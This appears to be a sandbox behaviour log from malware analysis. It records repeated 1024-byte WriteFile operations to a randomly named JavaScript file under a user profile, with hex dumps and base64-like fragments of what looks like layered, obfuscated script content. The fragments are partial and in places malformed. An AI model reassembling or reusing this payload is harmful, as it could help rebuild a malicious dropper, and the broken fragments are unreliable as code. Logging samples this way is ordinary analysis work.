46 58 48 67 33 51 56 
78 34 4e 6a 5a 63 65 
44 51 35 58 48 67 31 
4d 46 78 34 4e 7a 42 
63 65 44 5a 46 58 48 
67 33 4f 56 78 34 4e 
54 68 63 65 44 4d 33 
58 48 67 7a 4d 46 78 
34 4e 54 4e 63 65 44 
63 78 58 48 67 32 4e 
6c 78 34 4e 54 42 63 
65 44 5a 43 58 48 67 
30 51 31 78 34 4e 6a 
56 63 65 44 59 32 58 
48 67 30 51 56 78 34 
4e 6b 52 63 65 44 4a 
43 58 48 67 32 4e 6c 
78 34 4e 44 6c 63 65 
44 56 42 58 48 67 79 
51 6c 78 34 4e 55 46 
63 65 44 4d 34 58 48 
67 32 51 6c 78 34 4d 
7a 42 63 65 44 52 42 
58 48 67 32 4d 6c 78 
34 4e 7a 46 63 65 44 
51 79 58 48 67 7a 4f 
46 78 34 4e 54 42 63 
65 44 52 45 58 48 67 
7a 4d 31 78 34 4d 7a 
6c 63 65 44 51 32 58 
48 67 30 4f 46 78 34 
4e 7a 68 63 65 44 4a 
43 58 48 

zNVx4NTBceDQyXHg3Ml
x4NkRceDZFX
Hg3QVx4NjZceDQ5XHg1
MFx4NzBceDZ
FXHg3OVx4NThceDM3XH
gzMFx4NTNce
DcxXHg2Nlx4NTBceDZCX
Hg0Q1x4NjV
ceDY2XHg0QVx4NkRceD
JCXHg2Nlx4N
DlceDVBXHgyQlx4NUFce
DM4XHg2Qlx
4MzBceDRBXHg2Mlx4Nz
FceDQyXHgzO
Fx4NTBceDREXHgzM1x4
MzlceDQ2XHg
0OFx4NzhceDJCXH

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 32 52 6c 78 34 4e 45 
56 63 65 44 63 33 58 
48 67 32 4e 31 78 34 
4e 6a 4a 63 65 44 4d 
30 58 48 67 32 51 6c 
78 34 4e 44 5a 63 65 
44 63 78 58 48 67 33 
4e 6c 78 34 4e 7a 6c 
63 65 44 52 44 58 48 
67 31 4d 6c 78 34 4e 
7a 6c 63 65 44 59 34 
58 48 67 32 51 6c 78 
34 4e 6b 4e 63 65 44 
63 35 58 48 67 33 4d 
56 78 34 4e 54 56 63 
65 44 55 30 58 48 67 
31 4d 31 78 34 4e 7a 
42 63 65 44 4d 77 58 
48 67 32 52 46 78 34 
4e 44 6d 63 65 44 63 
33 58 48 67 30 4f 46 
78 34 4e 44 5a 63 65 
44 55 7a 58 48 67 30 
4f 56 78 34 4e 7a 56 
63 65 44 5a 42 58 48 
67 31 4d 46 78 34 4e 
6b 4a 63 65 44 52 44 
58 48 67 32 4e 56 78 
34 4e 44 4a 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 55 78 58 48 67 
33 4d 46 78 34 4e 54 
68 63 65 44 55 78 58 
48 67 30 51 56 78 34 
4e 6b 4e 63 65 44 52 
47 58 48 

2Rlx4NEVceDc3XHg2N1x
4NjJceDM0X
Hg2Qlx4NDZceDcxXHg3N
lx4NzlceDR
DXHg1Mlx4NzlceDY4XHg
2Qlx4NkNce
Dc5XHg3MVx4NTVceDU0
XHg1M1x4NzB
ceDMwXHg2RFx4NDmce
Dc3XHg0OFx4N
DZceDUzXHg0OVx4NzVc
eDZBXHg1MFx
4NkJceDRDXHg2NVx4ND
JceDNFXHgyN
Vx4NDBceDUxXHg3MFx4
NThceDUxXHg
0QVx4NkNceDRGXH

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 52 56 78 34 4e 45 
4e 63 65 44 55 31 58 
48 67 31 4e 6c 78 34 
4e 54 5a 63 65 44 55 
7a 58 48 67 32 52 6c 
78 34 4e 7a 4a 63 65 
44 59 35 58 48 67 79 
52 6c 78 34 4e 6a 4a 
63 65 44 4d 31 58 48 
67 30 51 6c 78 34 4d 
7a 68 63 65 44 51 34 
58 48 67 7a 4f 56 78 
34 4d 6b 5a 63 65 44 
52 47 58 48 67 33 4e 
31 78 34 4e 45 52 63 
65 44 59 31 58 48 67 
32 4d 31 78 34 4e 6a 
4e 63 65 44 56 42 58 
48 67 32 4d 31 78 34 
4e 7a 56 63 65 44 63 
30 58 48 67 31 51 56 
78 34 4d 7a 68 63 65 
44 59 33 58 48 67 32 
51 31 78 34 4e 54 42 
63 65 44 6d 42 58 48 
67 31 4d 31 78 34 4e 
54 46 63 65 44 63 77 
58 48 67 7a 4f 46 78 
34 4e 55 46 63 65 44 
5a 46 58 48 67 30 52 
6c 78 34 4d 7a 42 63 
65 44 55 7a 58 48 67 
30 51 56 78 34 4e 45 
4a 63 65 44 63 77 58 
48 67 32 52 6c 78 34 
4e 54 4a 63 65 44 63 
79 58 48 

2RVx4NENceDU1XHg1Nlx
4NTZceDUzX
Hg2Rlx4NzJceDY5XHgyRl
x4NjJceDM
1XHg0Qlx4MzhceDQ4XHg
zOVx4MkZce
DRGXHg3N1x4NERceDY1
XHg2M1x4NjN
ceDVBXHg2M1x4NzVceD
c0XHg1QVx4M
zhceDY3XHg2Q1x4NTBce
DmBXHg1M1x
4NTFceDcwXHgzOFx4NU
FceDZFXHg0R
lx4MzBceDUzXHg0QVx4N
EJceDcwXHg
2Rlx4NTJceDcyXH

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 31 4f 46 78 34 4e 6b 
4a 63 65 44 56 42 58 
48 67 30 4e 31 78 34 
4e 7a 46 63 65 44 52 
42 58 48 67 30 4e 31 
78 34 4e 6a 46 63 65 
44 4d 32 58 48 67 31 
4e 56 78 34 4e 54 6c 
63 65 44 4d 31 58 48 
67 32 52 6c 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 54 56 63 65 44 
6d 42 58 48 67 7a 4e 
6c 78 34 4e 54 4e 63 
65 44 5a 42 58 48 67 
32 51 6c 78 34 4e 54 
46 63 65 44 59 35 58 
48 67 33 4d 6c 78 34 
4e 45 46 63 65 44 4d 
32 58 48 67 31 4d 31 
78 34 4d 7a 4e 63 65 
44 52 44 58 48 67 33 
4f 56 78 34 4e 44 6d 
63 65 44 55 30 58 48 
67 30 4f 56 78 34 4e 
7a 6c 63 65 44 63 77 
58 48 67 31 4e 46 78 
34 4e 45 46 63 65 44 
55 34 58 48 67 31 4e 
6c 78 34 4e 6a 52 63 
65 44 5a 45 58 48 67 
30 52 6c 78 34 4d 6b 
5a 63 65 44 4d 35 58 
48 67 31 4e 46 78 34 
4e 30 46 63 65 44 5a 
47 58 48 

1OFx4NkJceDVBXHg0N1
x4NzFceDRBX
Hg0N1x4NjFceDM2XHg1N
Vx4NTlceDM
1XHg2Rlx4M0VceDI1XHg
0MFx4NTVce
DmBXHgzNlx4NTNceDZB
XHg2Qlx4NTF
ceDY5XHg3Mlx4NEFceD
M2XHg1M1x4M
zNceDRDXHg3OVx4NDm
ceDU0XHg0OVx
4NzlceDcwXHg1NFx4NEF
ceDU4XHg1N
lx4NjRceDZEXHg0Rlx4Mk
ZceDM5XHg
1NFx4N0FceDZGXH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 33 4d 6c 78 34 4e 6a 
56 63 65 44 63 33 58 
48 67 33 4d 56 78 34 
4e 7a 6c 63 65 44 51 
30 58 48 67 30 4f 56 
78 34 4e 44 6c 63 65 
44 4d 31 58 48 67 33 
4d 46 78 34 4e 6b 46 
63 65 44 63 30 58 48 
67 32 4d 31 78 34 4e 
45 56 63 65 44 51 35 
58 48 67 32 51 31 78 
34 4d 7a 5a 63 65 44 
6d 42 58 48 67 30 52 
46 78 34 4e 55 46 63 
65 44 51 31 58 48 67 
33 4f 56 78 34 4d 7a 
4e 63 65 44 52 44 58 
48 67 7a 4e 31 78 34 
4e 7a 5a 63 65 44 4d 
31 58 48 67 30 51 6c 
78 34 4e 7a 4e 63 65 
44 51 33 58 48 67 32 
4e 6c 78 34 4e 6a 4e 
63 65 44 59 32 58 48 
67 32 4e 56 78 34 4e 
54 56 63 65 44 4d 34 
58 48 67 30 4e 56 78 
34 4d 7a 4e 63 65 44 
4d 79 58 48 67 7a 4e 
56 78 34 4e 6b 4a 63 
65 44 51 35 58 48 67 
32 52 56 78 34 4e 6a 
46 63 65 44 51 32 58 
48 67 32 51 56 78 34 
4e 54 68 63 65 44 55 
79 58 48 

3Mlx4NjVceDc3XHg3MVx
4NzlceDQ0X
Hg0OVx4NDlceDM1XHg3
MFx4NkFceDc
0XHg2M1x4NEVceDQ5XH
g2Q1x4MzZce
DmBXHg0RFx4NUFceDQ
1XHg3OVx4MzN
ceDRDXHgzN1x4NzZceD
M1XHg0Qlx4N
zNceDQ3XHg2Nlx4NjNce
DY2XHg2NVx
4NTVceDM4XHg0NVx4Mz
NceDMyXHgzN
Vx4NkJceDQ5XHg2RVx4
NjFceDQ2XHg
2QVx4NThceDUyXH

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 4d 6c 78 34 4e 44 
4e 63 65 44 52 45 58 
48 67 33 4d 56 78 34 
4e 45 56 63 65 44 63 
7a 58 48 67 32 51 31 
78 34 4e 6a 4e 63 65 
44 52 43 58 48 67 30 
4d 31 78 34 4e 45 4a 
63 65 44 59 31 58 48 
67 32 4f 46 78 34 4d 
7a 5a 63 65 44 63 78 
58 48 67 32 4e 6c 78 
34 4d 7a 52 63 65 44 
4d 34 58 48 67 32 4d 
6c 78 34 4e 44 68 63 
65 44 55 7a 58 48 67 
32 51 31 78 34 4e 54 
4e 63 65 44 63 30 58 
48 67 30 51 6c 78 34 
4e 6b 46 63 65 44 4a 
43 58 48 67 7a 4e 56 
78 34 4e 6a 6c 63 65 
44 55 7a 58 48 67 32 
51 31 78 34 4e 6a 6c 
63 65 44 63 30 58 48 
67 30 4d 6c 78 34 4e 
54 68 63 65 44 52 42 
58 48 67 30 52 6c 78 
34 4e 7a 6d 63 65 44 
52 46 58 48 67 31 4d 
6c 78 34 4d 7a 42 63 
65 44 52 43 58 48 67 
7a 4e 56 78 34 4d 7a 
5a 63 65 44 4d 30 58 
48 67 33 4e 31 78 34 
4e 7a 42 63 65 44 4d 
79 58 48 

zMlx4NDNceDREXHg3MV
x4NEVceDczX
Hg2Q1x4NjNceDRCXHg0
M1x4NEJceDY
1XHg2OFx4MzZceDcxXH
g2Nlx4MzRce
DM4XHg2Mlx4NDhceDUz
XHg2Q1x4NTN
ceDc0XHg0Qlx4NkFceDJ
CXHgzNVx4N
jlceDUzXHg2Q1x4NjlceDc
0XHg0Mlx
4NThceDRBXHg0Rlx4Nz
mceDRFXHg1M
lx4MzBceDRCXHgzNVx4
MzZceDM0XHg
3N1x4NzBceDMyXH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 30 4e 56 78 34 4d 7a 
4a 63 65 44 51 31 58 
48 67 7a 4f 46 78 34 
4e 54 5a 63 65 44 51 
7a 58 48 67 31 4f 46 
78 34 4e 44 6d 63 65 
44 59 30 58 48 67 30 
4e 6c 78 34 4e 44 6c 
63 65 44 4d 35 58 48 
67 32 4e 46 78 34 4d 
7a 5a 63 65 44 51 32 
58 48 67 32 4d 56 78 
34 4e 54 4e 63 65 44 
55 33 58 48 67 32 4e 
6c 78 34 4e 6b 4e 63 
65 44 5a 45 58 48 67 
31 4f 56 78 34 4d 6b 
4a 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 55 
78 58 48 67 32 51 56 
78 34 4e 6b 4a 63 65 
44 5a 47 58 48 67 32 
52 6c 78 34 4d 7a 52 
63 65 44 63 7a 58 48 
67 32 52 6c 78 34 4e 
6a 52 63 65 44 51 34 
58 48 67 31 4e 6c 78 
34 4e 44 6d 63 65 44 
5a 47 58 48 67 31 4e 
31 78 34 4d 7a 56 63 
65 44 52 42 58 48 67 
32 52 6c 78 34 4e 54 
6d 63 65 44 4d 31 58 
48 67 31 4e 46 78 34 
4e 6b 46 63 65 44 5a 
43 58 48 

0NVx4MzJceDQ1XHgzOF
x4NTZceDQzX
Hg1OFx4NDmceDY0XHg0
Nlx4NDlceDM
5XHg2NFx4MzZceDQ2XH
g2MVx4NTNce
DU3XHg2Nlx4NkNceDZE
XHg1OVx4MkJ
ceDNFXHgyNVx4NDBceD
UxXHg2QVx4N
kJceDZGXHg2Rlx4MzRce
DczXHg2Rlx
4NjRceDQ4XHg1Nlx4NDm
ceDZGXHg1N
1x4MzVceDRBXHg2Rlx4N
TmceDM1XHg
1NFx4NkFceDZCXH

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 30 51 31 78 34 4e 54 
4e 63 65 44 55 34 58 
48 67 33 4f 56 78 34 
4d 7a 56 63 65 44 52 
44 58 48 67 32 4d 6c 
78 34 4d 7a 56 63 65 
44 55 33 58 48 67 32 
51 31 78 34 4e 7a 4a 
63 65 44 4d 31 58 48 
67 32 4e 6c 78 34 4e 
45 4a 63 65 44 51 35 
58 48 67 33 4d 56 78 
34 4e 44 56 63 65 44 
52 47 58 48 67 31 4d 
31 78 34 4d 7a 4e 63 
65 44 63 35 58 48 67 
30 51 31 78 34 4d 7a 
52 63 65 44 51 31 58 
48 67 7a 4e 6c 78 34 
4e 54 46 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4d 32 58 48 67 31 
4f 56 78 34 4e 7a 46 
63 65 44 59 35 58 48 
67 7a 4d 46 78 34 4d 
7a 4a 63 65 44 4d 31 
58 48 67 32 4f 56 78 
34 4e 44 4e 63 65 44 
52 42 58 48 67 7a 4d 
6c 78 34 4e 6b 56 63 
65 44 52 45 58 48 67 
7a 4d 56 78 34 4d 7a 
56 63 65 44 4d 79 58 
48 67 7a 4d 31 78 34 
4e 7a 46 63 65 44 51 
30 58 48 

0Q1x4NTNceDU4XHg3OV
x4MzVceDRDX
Hg2Mlx4MzVceDU3XHg2
Q1x4NzJceDM
1XHg2Nlx4NEJceDQ5XHg
3MVx4NDVce
DRGXHg1M1x4MzNceDc5
XHg0Q1x4MzR
ceDQ1XHgzNlx4NTFceDN
FXHgyNVx4N
DBceDM2XHg1OVx4NzFc
eDY5XHgzMFx
4MzJceDM1XHg2OVx4ND
NceDRBXHgzM
lx4NkVceDREXHgzMVx4
MzVceDMyXHg
zM1x4NzFceDQ0XH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 31 4f 56 78 34 4e 54 
6c 63 65 44 63 7a 58 
48 67 7a 4d 46 78 34 
4d 7a 5a 63 65 44 63 
32 58 48 67 32 4e 6c 
78 34 4e 44 68 63 65 
44 52 44 58 48 67 79 
52 6c 78 34 4e 7a 6d 
63 65 44 52 43 58 48 
67 32 4e 6c 78 34 4e 
45 52 63 65 44 4d 34 
58 48 67 7a 4e 56 78 
34 4e 54 6d 63 65 44 
59 33 58 48 67 33 4e 
31 78 34 4e 7a 56 63 
65 44 59 7a 58 48 67 
33 4e 6c 78 34 4e 45 
4e 63 65 44 51 7a 58 
48 67 7a 4f 56 78 34 
4d 7a 68 63 65 44 51 
32 58 48 67 31 51 56 
78 34 4e 6a 46 63 65 
44 59 35 58 48 67 32 
4f 56 78 34 4d 7a 56 
63 65 44 5a 45 58 48 
67 7a 4e 31 78 34 4e 
54 4a 63 65 44 51 7a 
58 48 67 7a 4d 31 78 
34 4e 45 46 63 65 44 
59 7a 58 48 67 79 51 
6c 78 34 4e 6b 4e 63 
65 44 59 32 58 48 67 
7a 4d 31 78 34 4e 6b 
56 63 65 44 63 78 58 
48 67 30 51 56 78 34 
4e 7a 4a 63 65 44 59 
34 58 48 

1OVx4NTlceDczXHgzMFx
4MzZceDc2X
Hg2Nlx4NDhceDRDXHgyR
lx4NzmceDR
CXHg2Nlx4NERceDM4XH
gzNVx4NTmce
DY3XHg3N1x4NzVceDYz
XHg3Nlx4NEN
ceDQzXHgzOVx4MzhceD
Q2XHg1QVx4N
jFceDY5XHg2OVx4MzVce
DZEXHgzN1x
4NTJceDQzXHgzM1x4NE
FceDYzXHgyQ
lx4NkNceDY2XHgzM1x4N
kVceDcxXHg
0QVx4NzJceDY4XH

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 4e 6c 78 34 4e 6b 
56 63 65 44 59 31 58 
48 67 31 4d 6c 78 34 
4d 6b 4a 63 65 44 4d 
34 58 48 67 32 4e 31 
78 34 4e 45 46 63 65 
44 55 33 58 48 67 32 
4e 46 78 34 4e 7a 42 
63 65 44 55 78 58 48 
67 7a 4d 56 78 34 4e 
6a 68 63 65 44 55 34 
58 48 67 32 4e 6c 78 
34 4e 44 4a 63 65 44 
63 79 58 48 67 30 51 
31 78 34 4e 6a 6c 63 
65 44 59 35 58 48 67 
31 4d 6c 78 34 4e 6b 
52 63 65 44 55 34 58 
48 67 7a 4d 31 78 34 
4e 7a 6c 63 65 44 55 
32 58 48 67 33 4e 56 
78 34 4e 6a 6d 63 65 
44 63 31 58 48 67 33 
4e 31 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
44 56 63 65 44 6d 42 
58 48 67 32 51 56 78 
34 4e 44 6c 63 65 44 
55 77 58 48 67 7a 4e 
56 78 34 4e 6a 4a 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 51 33 58 
48 67 32 52 6c 78 34 
4d 7a 68 63 65 44 63 
7a 58 48 

zNlx4NkVceDY1XHg1Mlx4
MkJceDM4X
Hg2N1x4NEFceDU3XHg2
NFx4NzBceDU
xXHgzMVx4NjhceDU4XHg
2Nlx4NDJce
DcyXHg0Q1x4NjlceDY5X
Hg1Mlx4NkR
ceDU4XHgzM1x4NzlceDU
2XHg3NVx4N
jmceDc1XHg3N1x4M0Vce
DI1XHg0MFx
4NDVceDmBXHg2QVx4N
DlceDUwXHgzN
Vx4NjJceDNFXHgyNVx4N
DBceDQ3XHg
2Rlx4MzhceDczXH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 4e 31 78 34 4e 54 
56 63 65 44 55 7a 58 
48 67 79 52 6c 78 34 
4d 7a 5a 63 65 44 4d 
78 58 48 67 7a 4d 46 
78 34 4e 6a 4a 63 65 
44 51 35 58 48 67 7a 
4e 31 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
6b 46 63 65 44 63 7a 
58 48 67 7a 4d 46 78 
34 4e 44 5a 63 65 44 
59 7a 58 48 67 30 51 
6c 78 34 4e 7a 68 63 
65 44 55 32 58 48 67 
31 4d 31 78 34 4e 44 
4e 63 65 44 59 33 58 
48 67 7a 4e 31 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 6b 5a 63 65 
44 55 32 58 48 67 30 
4d 6c 78 34 4e 6b 52 
63 65 44 52 44 58 48 
67 31 51 56 78 34 4e 
54 46 63 65 44 51 7a 
58 48 67 33 4d 46 78 
34 4e 7a 42 63 65 44 
5a 42 58 48 67 31 51 
56 78 34 4e 6a 56 63 
65 44 59 31 58 48 67 
79 51 6c 78 34 4e 6a 
4a 63 65 44 5a 44 58 
48 67 32 4e 46 78 34 
4d 7a 6d 63 65 44 63 
77 58 48 

2N1x4NTVceDUzXHgyRlx
4MzZceDMxX
HgzMFx4NjJceDQ5XHgzN
1x4M0VceDI
1XHg0MFx4NkFceDczXH
gzMFx4NDZce
DYzXHg0Qlx4NzhceDU2X
Hg1M1x4NDN
ceDY3XHgzN1x4M0VceDI
1XHg0MFx4N
kZceDU2XHg0Mlx4NkRce
DRDXHg1QVx
4NTFceDQzXHg3MFx4Nz
BceDZBXHg1Q
Vx4NjVceDY1XHgyQlx4Nj
JceDZDXHg
2NFx4MzmceDcwXH
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 30 4e 6c 
78 34 4e 6a 6d 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 33 58 48 67 30 52 
56 78 34 4e 6a 68 63 
65 44 59 7a 58 48 67 
32 51 6c 78 34 4e 7a 
68 63 65 44 59 34 58 
48 67 32 4d 6c 78 34 
4e 54 6d 63 65 44 52 
42 58 48 67 33 4e 6c 
78 34 4e 45 4e 63 65 
44 4d 79 58 48 67 31 
4d 6c 78 34 4e 6b 52 
63 65 44 56 42 58 48 
67 7a 4d 6c 78 34 4e 
6a 68 63 65 44 5a 43 
58 48 67 32 4d 6c 78 
34 4e 54 6d 63 65 44 
52 45 58 48 67 33 4e 
56 78 34 4e 54 6c 63 
65 44 4d 79 58 48 67 
33 4f 46 78 34 4e 6a 
68 63 65 44 59 7a 58 
48 67 7a 4d 31 78 34 
4e 45 52 63 65 44 4d 
33 58 48 

zRVx4MjVceDQwXHgzRV
x4MjVceDQwX
Hg0Nlx4NjmceDNFXHgyN
Vx4NDBceDN
FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DQ3XHg0RVx4NjhceDYz
XHg2Qlx4Nzh
ceDY4XHg2Mlx4NTmceD
RBXHg3Nlx4N
ENceDMyXHg1Mlx4NkRc
eDVBXHgzMlx
4NjhceDZCXHg2Mlx4NTm
ceDREXHg3N
Vx4NTlceDMyXHg3OFx4
NjhceDYzXHg
zM1x4NERceDM3XH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 30 4d 46 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4e 54 68 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 32 58 48 67 30 4d 
6c 78 34 4e 45 4e 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 63 33 58 
48 67 31 4d 56 78 34 
4e 54 56 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 59 33 58 48 
67 30 4f 56 78 34 4e 
44 4e 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 7a 58 48 67 32 4d 
6c 78 34 4e 44 5a 63 
65 44 5a 44 58 48 67 
32 4e 46 78 34 4e 54 
4e 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4e 
46 58 48 

0MFx4M0VceDI1XHg0MF
x4NThceDNFX
HgyNVx4NDBceDNFXHgy
NVx4NDBceDN
FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DQ2XHg0Mlx4NENceDNF
XHgyNVx4NDB
ceDc3XHg1MVx4NTVceD
NFXHgyNVx4N
DBceDNFXHgyNVx4NDBc
eDY3XHg0OVx
4NDNceDNFXHgyNVx4ND
BceDQzXHg2M
lx4NDZceDZDXHg2NFx4N
TNceDNFXHg
yNVx4NDBceDNFXH
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C:\Users\user\fukvowbkrs.js unknown 1024 32 4f 56 78 34 4e 54 
56 63 65 44 59 79 58 
48 67 32 4f 56 78 34 
4e 7a 6d 63 65 44 59 
34 58 48 67 79 52 6c 
78 34 4e 6a 6d 63 65 
44 5a 42 58 48 67 33 
51 56 78 34 4e 45 46 
63 65 44 52 47 58 48 
67 7a 4d 56 78 34 4e 
54 56 63 65 44 59 34 
58 48 67 7a 4f 46 78 
34 4e 54 52 63 65 44 
51 30 58 48 67 30 51 
31 78 34 4e 6b 56 63 
65 44 6d 42 58 48 67 
32 52 56 78 34 4e 7a 
6d 63 65 44 4d 31 58 
48 67 32 4e 46 78 34 
4d 7a 4e 63 65 44 51 
34 58 48 67 33 4e 56 
78 34 4e 6a 5a 63 65 
44 55 34 58 48 67 7a 
4d 56 78 34 4d 7a 6d 
63 65 44 59 32 58 48 
67 32 4e 31 78 34 4e 
44 5a 63 65 44 59 33 
58 48 67 31 4f 56 78 
34 4e 44 52 63 65 44 
52 47 58 48 67 30 51 
6c 78 34 4e 44 4a 63 
65 44 55 35 58 48 67 
32 52 6c 78 34 4e 6b 
4e 63 65 44 59 35 58 
48 67 32 52 46 78 34 
4e 54 6d 63 65 44 52 
43 58 48 

2OVx4NTVceDYyXHg2OV
x4NzmceDY4X
HgyRlx4NjmceDZBXHg3Q
Vx4NEFceDR
GXHgzMVx4NTVceDY4X
HgzOFx4NTRce
DQ0XHg0Q1x4NkVceDm
BXHg2RVx4Nzm
ceDM1XHg2NFx4MzNceD
Q4XHg3NVx4N
jZceDU4XHgzMVx4Mzmc
eDY2XHg2N1x
4NDZceDY3XHg1OVx4ND
RceDRGXHg0Q
lx4NDJceDU5XHg2Rlx4Nk
NceDY5XHg
2RFx4NTmceDRCXH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 79 52 6c 78 34 4e 6a 
6d 63 65 44 4d 30 58 
48 67 7a 4d 31 78 34 
4e 54 42 63 65 44 51 
32 58 48 67 30 4e 56 
78 34 4e 7a 4a 63 65 
44 63 31 58 48 67 31 
4e 46 78 34 4e 7a 4a 
63 65 44 55 34 58 48 
67 33 4d 6c 78 34 4d 
7a 52 63 65 44 55 33 
58 48 67 33 4e 6c 78 
34 4e 45 5a 63 65 44 
55 35 58 48 67 31 4e 
31 78 34 4d 6b 4a 63 
65 44 59 78 58 48 67 
31 4f 46 78 34 4e 6a 
52 63 65 44 55 32 58 
48 67 33 4d 46 78 34 
4e 6a 4a 63 65 44 55 
77 58 48 67 33 4e 6c 
78 34 4e 6a 6c 63 65 
44 4a 43 58 48 67 7a 
4e 56 78 34 4d 6b 4a 
63 65 44 63 7a 58 48 
67 7a 4e 6c 78 34 4e 
54 4a 63 65 44 63 78 
58 48 67 33 51 56 78 
34 4e 6a 6c 63 65 44 
4d 30 58 48 67 31 4e 
46 78 34 4e 6b 46 63 
65 44 5a 45 58 48 67 
32 4e 31 78 34 4e 6a 
46 63 65 44 4d 7a 58 
48 67 33 4d 56 78 34 
4e 44 6d 63 65 44 63 
78 58 48 

yRlx4NjmceDM0XHgzM1x
4NTBceDQ2X
Hg0NVx4NzJceDc1XHg1N
Fx4NzJceDU
4XHg3Mlx4MzRceDU3XH
g3Nlx4NEZce
DU5XHg1N1x4MkJceDYx
XHg1OFx4NjR
ceDU2XHg3MFx4NjJceDU
wXHg3Nlx4N
jlceDJCXHgzNVx4MkJceD
czXHgzNlx
4NTJceDcxXHg3QVx4Njlc
eDM0XHg1N
Fx4NkFceDZEXHg2N1x4
NjFceDMzXHg
3MVx4NDmceDcxXH
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C:\Users\user\fukvowbkrs.js unknown 1024 30 4f 56 78 34 4e 54 
4e 63 65 44 56 42 58 
48 67 30 52 6c 78 34 
4e 54 4a 63 65 44 63 
32 58 48 67 31 4e 56 
78 34 4e 30 46 63 65 
44 63 78 58 48 67 30 
4f 56 78 34 4e 7a 4a 
63 65 44 55 77 58 48 
67 30 52 56 78 34 4e 
6a 46 63 65 44 4d 35 
58 48 67 31 4d 56 78 
34 4e 44 56 63 65 44 
4d 77 58 48 67 31 4d 
31 78 34 4e 54 56 63 
65 44 56 42 58 48 67 
31 4d 56 78 34 4e 54 
4a 63 65 44 5a 47 58 
48 67 32 51 56 78 34 
4e 45 46 63 65 44 4d 
31 58 48 67 33 4e 31 
78 34 4e 6b 46 63 65 
44 55 79 58 48 67 32 
4e 56 78 34 4d 7a 4e 
63 65 44 63 35 58 48 
67 32 4e 56 78 34 4e 
45 56 63 65 44 52 42 
58 48 67 30 51 56 78 
34 4e 6a 5a 63 65 44 
4d 33 58 48 67 32 52 
6c 78 34 4e 7a 68 63 
65 44 4d 77 58 48 67 
32 4f 46 78 34 4d 7a 
4a 63 65 44 55 79 58 
48 67 31 4e 6c 78 34 
4e 7a 52 63 65 44 51 
33 58 48 

0OVx4NTNceDVBXHg0Rl
x4NTJceDc2X
Hg1NVx4N0FceDcxXHg0
OVx4NzJceDU
wXHg0RVx4NjFceDM5XH
g1MVx4NDVce
DMwXHg1M1x4NTVceDV
BXHg1MVx4NTJ
ceDZGXHg2QVx4NEFceD
M1XHg3N1x4N
kFceDUyXHg2NVx4MzNc
eDc5XHg2NVx
4NEVceDRBXHg0QVx4Nj
ZceDM3XHg2R
lx4NzhceDMwXHg2OFx4
MzJceDUyXHg
1Nlx4NzRceDQ3XH

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 4d 56 78 34 4e 44 
68 63 65 44 52 42 58 
48 67 7a 4d 46 78 34 
4e 45 4e 63 65 44 5a 
45 58 48 67 30 52 56 
78 34 4e 7a 4e 63 65 
44 55 35 58 48 67 31 
4f 46 78 34 4e 45 56 
63 65 44 6d 42 58 48 
67 31 51 56 78 34 4e 
55 46 63 65 44 51 30 
58 48 67 30 52 56 78 
34 4e 54 52 63 65 44 
63 7a 58 48 67 30 51 
56 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 44 
5a 63 65 44 51 35 58 
48 67 31 4f 46 78 34 
4e 54 42 63 65 44 55 
31 58 48 67 30 4e 31 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
45 4a 63 65 44 4d 33 
58 48 67 31 4d 31 78 
34 4e 44 6c 63 65 44 
4a 47 58 48 67 7a 4d 
